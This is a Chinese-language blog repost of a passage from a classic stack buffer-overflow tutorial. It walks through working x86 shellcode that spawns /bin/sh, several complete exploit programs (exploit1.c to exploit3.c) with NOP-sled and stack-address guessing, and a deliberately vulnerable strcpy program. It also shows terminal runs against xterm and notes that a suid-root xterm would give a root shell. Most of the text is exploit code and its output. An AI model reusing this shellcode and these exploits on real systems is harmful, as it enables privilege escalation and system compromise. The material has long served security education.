破解实战
~~~~~~~~~~
现在把手头的工具都准备好. 我们已经有了shellcode. 我们知道shellcode必须是被
溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点:
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在
buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任
何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址
就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我
们的shellcode中, 得到一个shell.
我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个
缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址
都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈
的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出
它的堆栈指针:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
假定我们要使其溢出的程序如下:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起
的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符
串放到一个环境变量中, 这样就容易操作一些.
exploit2.c
------------------------------------------------------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
现在我们尝试猜测缓冲区的大小和偏移量:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
正如我们所看到的, 这并不是一个很有效率的过程. 即使知道了堆栈的起始地址, 尝
试猜测偏移量也几乎是不可能的. 我们很可能要试验几百次, 没准几千次也说不定. 问题
的关键在于我们必须*确切*地知道我们代码开始的地址. 如果偏差哪怕只有一个字节我们
也只能得到段错误或非法指令错误. 提高成功率的一种方法是在我们溢出缓冲区的前段填
充NOP指令. 几乎所有的处理器都有NOP指令执行空操作. 常用于延时目的. 我们利用它来
填充溢出缓冲区的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我们足够
幸运的话, 返回地址指到NOPs字串的任何位置, NOP指令就会执行, 直到碰到我们的
shellcode. 在Intel体系结构中NOP指令只有一个字节长, 翻译为机器码是0x90. 假定堆栈
的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆栈看起来是这样:
内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
堆栈顶端 堆栈底部
新的破解程序如下:
exploit3.c
------------------------------------------------------------------------------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
我们所使用的缓冲区大小最好比要使其溢出的缓冲区大100字节左右. 我们在要使其
溢出的缓冲区尾部放置shellcode, 为NOP指令留下足够的空间, 仍然使用我们推测的地址
来覆盖返回地址. 这里我们要使其溢出的缓冲区大小是512字节, 所以我们使用612字节.
现在使用新的破解程序来使我们的测试程序溢出:
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
哇!一击中的!这个改进成千倍地提高了我们的命中率. 下面在真实的环境中尝试一
下缓冲区溢出. 在Xt库上运用我们所讲述的方法. 在例子中, 我们使用xterm(实际上所有
连接Xt库的程序都有漏洞). 计算机上要运行X Server并且允许本地的连接. 还要相应设
置DISPLAY变量.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1?F
°
骎
?へ@よ?in/shいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい
いいいいいいいいいいいいいいいいいいいいいいいいい¤
(此处截短多行输出)
いいいいいいいいいいい?いいいい
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1?F
°
骎
?へ@よ?in/sh??????????????????????????????????
?????????????????????????¤
(此处截短多行输出)
縃????????????arning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1?F
°
骎
?へ@よ?in/sh鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗
鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗?
(此处截短多行输出)
縏鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸚arning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
尤里卡! 仅仅几次尝试我们就成功了!如果xterm是带suid root安装的, 我们就已经
得到了一个root shell了.
阅读(2152) | 评论(0) | 转发(0) |